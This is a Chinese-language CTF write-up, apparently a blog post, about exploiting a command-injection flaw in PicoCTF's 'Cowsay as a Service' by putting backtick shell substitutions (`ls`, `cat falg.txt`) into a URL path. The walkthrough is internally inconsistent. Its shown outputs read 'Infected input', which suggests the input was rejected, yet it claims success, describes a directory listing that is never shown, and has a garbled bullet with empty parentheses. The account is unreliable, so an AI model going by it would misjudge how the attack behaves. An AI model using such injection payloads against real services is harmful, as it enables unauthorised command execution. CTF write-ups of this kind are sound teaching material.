Cowsay即服务(CaaS)命令注入漏洞实战解析

本文详细解析了PicoCTF中Cowsay即服务挑战的解题过程,通过命令注入漏洞成功获取flag,探讨了URL参数处理不当导致的安全风险及防护措施。

Cowsay即服务(CaaS) — PicoCTF实战解析

大家好!

欢迎阅读我的第一篇CTF实战解析,今天我很兴奋能与大家分享这个特别的挑战。这个挑战因其独特性引起了我的注意,我在解决过程中获得了极大的乐趣。

那么,闲话少说,让我们直接进入解题过程!

挑战概述

在这个CTF挑战中,我们遇到了一个名为Cowsay即服务(CaaS)的趣味网络服务。其功能很简单:我们在URL中输入的任意内容,都会通过经典的cowsayASCII艺术格式显示出来。

例如,访问以下URL:

1
https://caas.mars.picoctf.net/cowsay/<message>

将会得到相应的输出。

工作原理

看起来人畜无害,对吧?

🕵️‍♂️ 开始探索

挑战的关键在于URL中的用户输入({message})是如何被处理的。我们传递的文本在输出中被回显这一事实,暗示了可能存在命令注入漏洞。

考虑到反引号(`)是Bash命令替换的特性,值得测试是否可以通过输入字段运行实际的shell命令。

让我们尝试一些简单的:

1
https://caas.mars.picoctf.net/cowsay/`ls`

输出:

1
Infected input  `ls`

💥 成功了! — 我们刚刚在服务器上执行了ls命令!这意味着输入未经清理就直接传递给了shell。

🏁 寻找Flag

从上面的目录列表中,我们可以看到一个名为falg.txt的文件。这似乎是flag.txt的拼写错误,但嘿——CTF就喜欢让我们保持警惕。

让我们尝试读取它:

1
https://caas.mars.picoctf.net/cowsay/`cat falg.txt`

结果:

1
Infected input — `cat falg.txt`

🎉 Flag获取成功!

我们学到了什么

  • 始终测试用户输入的处理方式,特别是在URL路径中。
  • 命令注入是常见的Web漏洞——如果未加以缓解,将非常危险。
  • Bash特性如命令替换( )在CTF挑战中可以是强大的工具。

最终想法

这是一个有趣且轻松的挑战,将幽默与核心网络安全概念结合在一起。使用cowsay使其比普通的命令注入问题更有趣,我真的很享受解决它的过程。

感谢阅读,敬请期待更多CTF实战解析!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计